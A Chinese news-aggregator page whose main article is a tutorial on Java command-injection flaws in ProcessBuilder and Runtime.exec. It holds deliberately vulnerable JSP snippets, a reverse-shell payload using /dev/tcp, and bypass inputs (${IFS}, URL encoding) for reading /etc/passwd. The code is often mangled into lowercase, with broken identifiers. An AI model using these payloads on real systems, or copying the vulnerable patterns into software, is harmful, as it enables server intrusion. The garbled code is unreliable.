最新要闻
- 环球消息!懒人家常糖饼,和面方式不一般,出锅鼓泡不漏糖,松软甜蜜不会硬
- 索泰首发三款RTX 4070:天启功耗解锁250W!5399元
- 第三代“风雪”散热器 小巧高颜值!耕升RTX 4070踏雪显卡图赏
- 【新视野】发售一年的《幽灵线:东京》游戏上了D加密:学习版早已满天飞 玩家不解
- 从柯哀亲嘴到作者“去世” 又一场滑稽的互联网闹剧
- 正逆转设计 技嘉RTX 4070风魔OC 12G显卡图赏
- 新一代“夜视神器”!佳能推出全球首款SPAD传感器相机
- 世界最资讯丨地球上将近一半人都在玩游戏!全球游戏受众已达37亿
- 全球实时:6年前的麒麟970如获新生 24款设备升级华为鸿蒙3系统
- 铝车身强度差?奇瑞小蚂蚁表示不服:托举30吨坦克
- 微速讯:徕卡CEO体验小米13 Ultra后打出满分:影像素质前所未有
- 全球消息!湖北构建全国劳动争议多元化解先行区
- 韩国面板巨头要卖掉中国LCD工厂?TCL否认接盘:消息不实
- 女子拒绝调岗降薪被辞退:离职证明上写着“简历造假” 当事人难就业
- 世界速递!一加Ace 2新增18GB内存 被指反向升级 高管解释:真没有
- 【世界新视野】国内5月上映 迪士尼《小美人鱼》新剧照公布:脏辫黑人鱼与王子对视
广告
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
java命令执行漏洞
(资料图片仅供参考)
ProcessBuilder命令执行漏洞
Processbuilder执行命令的方式如下
ProcessBuilder pb = new ProcessBuilder("myCommand","myarg");Process process = pb.start();#PROCESSBUILDER管理一个进程属性集.start()方法利用这些属性创建一个新的process实例.Processbuilder执行"ls -al"public class exec{public static void main(String[] args) throws IOException{ ProcessBuilder p = new ProcessBuilder("ls","-al"); Process pb = p.start(); //获取完成命令后的结果并输出 string line; bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputstream(),"GBK"); while((line = reader.readLine())!=null){ system.out.println(line); } reader.close(); }}
连接漏洞实例
<% string ip = request.getparameter("ip"); try{ processbuilder p =new processbuilder("ping","-t","3",ip); #主要问题出在这里,ip是完全可控的,通过命令连接符";"即可实现攻击 例如输入127.0.0.1;/bin/bash -i >& /dev/tcp/ip/port 0>%1; process pb = p.start(); string line ; bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputsrream(),"GBK")); while((line=reader.readLine())!=null){ out.println(line); } reader.close(); }catch(exception e) { out.println(e); }%>由于runtime.getruntime.exec 和process builder.start执行系统名命令时,没有获取unix或linux shell并在其中运行命令.要使用管道功能必须是shell程序exec="ping -t 3"+ip;改成processbuilder pb = new processbuilder("bash","-c",exec);
Runtimeexec 命令执行漏洞
参数可控的情况命令执行漏洞的利用和原理
1.runtime exec执行字符串参数和数据参数之间的不同process proc = runtime.getruntime().exec("ping x.x.x.x");
#执行成功返回正常process proc = runtime.getruntime().exec("ping x.x.x.x;ls");#执行完成没有结果,命令没有执行成功改为数组传参stinrg[] command = {"/bin/sh","-c","ping -t 3 x.x.x.x;id");process proc = runtime.getruntime().exec(command);#成功执行原因:跟进rumtime.getruntime的exec函数发现会尽过一个stirngtokenizer的函数对传入参数进行调整pubulic stringtokenizer(string str){ this(str,delim:"\t\n\r\f",returndelims:false}处理示例:string com = "/bin/sh -c \"ping -t 3 x.x.x.x;id \"";字符串传参,被stringtokenizer分割成"/bin/sh" "-c" ""ping" "-t" "3" "x.x.x.x" "id"" """ 原语义已经被删除不能执行此命令string[] com = {"/bin/sh","-c"."ping -t 3 x.x.x.x;id"};直接调用processbuilder执行 "/bin/sh" "-c" "ping -t 3 x.x.x.x;id"数组传参
runtimeexec方法本身可控的情况下执行命令执<%
string cmd = request.getparameter("cmd"); try{ process proc = runtime.getRuntime().exec(cmd); string line; bufferedreader reader = new bufferedreader(new inputstreamreader(proc.getinputsream(),"GBK")); while((line=reader.readLine())!=null){ out.println(line); } reader.close(); }catch(exception e){ out.println(e);}%>cmd参数可控并且没有过滤 1.绕过stringtokenizer2符合RFCurl规范命令1:cmd=ls#执行成功命令2:cmd=ls;cat /etc/passwd#错误 原因:通过runtime.getruntime().exec执行命令并没有启动一个新的shell,所以需要重新启动一个shell改成 cmd=sh -c ls;cat /etc/passwd#错误 原因参数为字符串参数,会被stringtokenizer分割导致失去原有语义不能执行,绕过stringtokenizer只需要替换空格字符如 ${IFS},$IFS$9等改成 cmd=sh -c ls;cat${IFS}/etc/passwd#报错 the valid characters are defined in RFC 7230 and RFC 3986解析:根据RFC规范,url只允许包含字母a-z A-Z 0-9 和一些特殊字符,不包含{}所以报错,利用url编码绕过即可改成 cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd#成功
关键词:
-
java命令执行漏洞
ProcessBuilder命令执行漏洞Processbuilder执行命令的方式如下ProcessBuilderpb=newProcessBuilder("myCommand&
来源: java命令执行漏洞
环球新资讯:打印圣诞树
天天速讯:09字典(dict)与集合(set)
环球消息!懒人家常糖饼,和面方式不一般,出锅鼓泡不漏糖,松软甜蜜不会硬
索泰首发三款RTX 4070:天启功耗解锁250W!5399元
第三代“风雪”散热器 小巧高颜值!耕升RTX 4070踏雪显卡图赏
【新视野】发售一年的《幽灵线:东京》游戏上了D加密:学习版早已满天飞 玩家不解
从柯哀亲嘴到作者“去世” 又一场滑稽的互联网闹剧
正逆转设计 技嘉RTX 4070风魔OC 12G显卡图赏
count(*) count(1) count(字段)效率问题
java -- 二维数组
每日看点!vivo全球商城:电商交易平台设计
焦点速看:python中如何修改文件?
全球快看:js数组方法之数组变异方法
新一代“夜视神器”!佳能推出全球首款SPAD传感器相机
世界最资讯丨地球上将近一半人都在玩游戏!全球游戏受众已达37亿
全球实时:6年前的麒麟970如获新生 24款设备升级华为鸿蒙3系统
铝车身强度差?奇瑞小蚂蚁表示不服:托举30吨坦克
微速讯:徕卡CEO体验小米13 Ultra后打出满分:影像素质前所未有
全球消息!湖北构建全国劳动争议多元化解先行区
每日视讯:JdkProxy的进阶知识
全球快看点丨【Visual Leak Detector】Release 模式下使用 VLD
【环球聚看点】债市日报:4月12日
韩国面板巨头要卖掉中国LCD工厂?TCL否认接盘:消息不实
女子拒绝调岗降薪被辞退:离职证明上写着“简历造假” 当事人难就业
世界速递!一加Ace 2新增18GB内存 被指反向升级 高管解释:真没有
【世界新视野】国内5月上映 迪士尼《小美人鱼》新剧照公布:脏辫黑人鱼与王子对视
天天速看:首发1350元 铭凡UM560XT迷你主机上架:锐龙5 5600H、液金散热
【聚看点】非法捕捞水产品案进行生态补偿 三亚海警局组织增殖放流3000尾鱼苗
全球即时:最全的python正则使用
环球精选![翻译]ExecutionContext vs SynchronizationContext
24层楼高!我国首艘大型邮轮将交付:2500万个零件
【天天聚看点】文案没能逃过因AI失业!蓝色光标回应AI取代文案外包:属实
全球最资讯丨车主曝极氪001自动加速撞车:官方承认失控、但不担责任
《生化危机:死亡岛》角色介绍:克莱尔、瑞贝卡、吉尔太美了
播报:腾讯QQ邮箱关联邮箱帐号功能要没了!5月15日终止服务
王一鸣:重点激活服务消费,放松中高端商品和服务消费的限制性措施
天天最新:新人必看| 移动端“动态化”是什么意思?
guacamole免密登录,guacamole不通过登录界面登录,guacamole指定用户名免密登录
天天快看点丨图数据库驱动的基础设施运维实操
java 如何计算两个汉字的相似度?如何获得一个汉字的相似汉字?
全球讯息:PostgreSQL 备忘清单_开发速查表分享
当前热文:《CS:GO》价值百万库存玩家被封:只因给其他玩家留言
环球速读:华为智慧屏S3 Pro官宣:顶部配“AI慧眼”、超窄四边
比亚迪微型电动车海鸥内饰发布:看齐海豚、卖8万买不
环球快讯:豆瓣评分跌至6.4!成龙《龙马精神》票房艰难破亿
每日速讯:“小Mate 50 Pro”实锤!华为畅享60X正面揭晓:旗舰同款刘海屏
环球今头条!4月15日 厦门邮轮母港公交场站正式启用(附公交调整方案)
环球消息!2023 年十大 API 管理趋势
新资讯:如何打开 plist 文件
每日短讯:Three.js教程:第一个3D场景
【天天时快讯】pymysql操作数据库入门
快看点丨高数上复习
辽宁发行150亿元专项债补充盛京银行资本金
【环球聚看点】《信托大家谈——信托业转型发展对大众意味着什么》
观点数字化大会 | 德信集团胡一平:一定要积极拥抱数字化改革
世界关注:非会员看剧遇3000多秒广告 优酷回应:确实会有 属极个别情况
世界今日讯!小米长焦之王!13 Ultra塞进两颗长焦镜头
专家称北京打车太便宜应涨价 崔东树曾任汽车销售
环球快看:女子疯狂网上购物确诊帕金森:过度伤害性冲动行为
世界最资讯丨自研大模型图片生成被质疑 商汤回应:秒画也有第三方开源模型
关于数智融合,看看这20位专家都聊了什么
热文:在.NET Core使用 HttpClient 的正确方式
看!前端新人如何用ChatGPT开发APP
JMeter-BeanShell预处理程序和BeanShell后置处理程序的应用
当前速读:智能指针基本原理,简单实现,常见问题
今日热门!叶一茜当众骂森碟“心机”,她就这么恨女儿?
【新华500】新华500指数(989001)12日窄幅震荡跌0.10%
沙尘跨过长江一路向南!直击江皖沪多地沙尘现场
要闻:GT Neo5 SE 1TB版只卖2599 真我喊话:现货才是硬道理
RTX 4070今晚发布 结果遭AMD背刺了:显存越大越好、4K至少16GB
全球头条:史上最挤”五一档来了!王一博《长空之王》等17部影片扎堆上映
网传明年中旬上海绿牌蓝牌要合并?官方回应来了
当前速读:梯田为“布” 光影为“沙” 点亮乡村“夜经济”
世界热消息:C#使用Elasticsearch入门
plist文件格式转换器
观速讯丨T-SQL基础教程Day1
天天微头条丨云图说|云数据库GaussDB如何做到卓越性能
环球最资讯丨不怕有味儿 比毛巾划算:云南白药洗脸巾0.06元/张狂促
天天热点评!“回锅沙”要来了!部分地方要注意
全球短讯!果粉最期待的大屏MacBook Air来了!苹果史上第一款
世界视点!首款骁龙8+平板中兴Axon Pad来了:12.1寸超大屏
新动态:4月14日State of Play:将展示超20分钟《最终幻想16》
全球看热讯:电商平台商品详情接口的应用场景
热点!二级指针创建二叉树节点与一级指针创建二叉树节点
身体很诚实!马斯克加入AIGC大战:抢购1万张GPU、挖Deepmind墙角
当前视讯!曾被誉为最靠谱!又一家造车新势力发不出工资了
全球微速讯:火山引擎 DataLeap 推出全链路智能监控报警平台
有病了还能买哪种保险?隐瞒健康告知带病投保会怎么样?
理想汽车全系车型电器真实功率再公开:空调果然是耗电大户!
小米13 Ultra样张首亮相:虚化堪比单反 夜拍效果惊人
《龙之家族》新季开拍
罕见超级激励!东方甄选奖励154员工8.83亿港元
【世界独家】00后网红骑摩托车遇车祸身亡 劝不住:网友感慨年轻 有必要全面禁摩?
易基因:METTL3介导的m6A甲基化谱调控肌肉干细胞成肌细胞状态转换|发育分化
全球快资讯丨中骏集团称已备好即将到期美元债兑付资金 拟发行第二支中债增全额担保中票
3月物价数据透露哪些经济变化?促消费政策获得较大空间
天天报道:iPhone 15 Pro颠覆式设计取消了!郭明錤:苹果因技术问题放弃固态按键
丫丫将通过温控卡车运至机场:即将飞赴上海
又有新品牌了!长安启源A07亮相:颜值超高碾压一众国产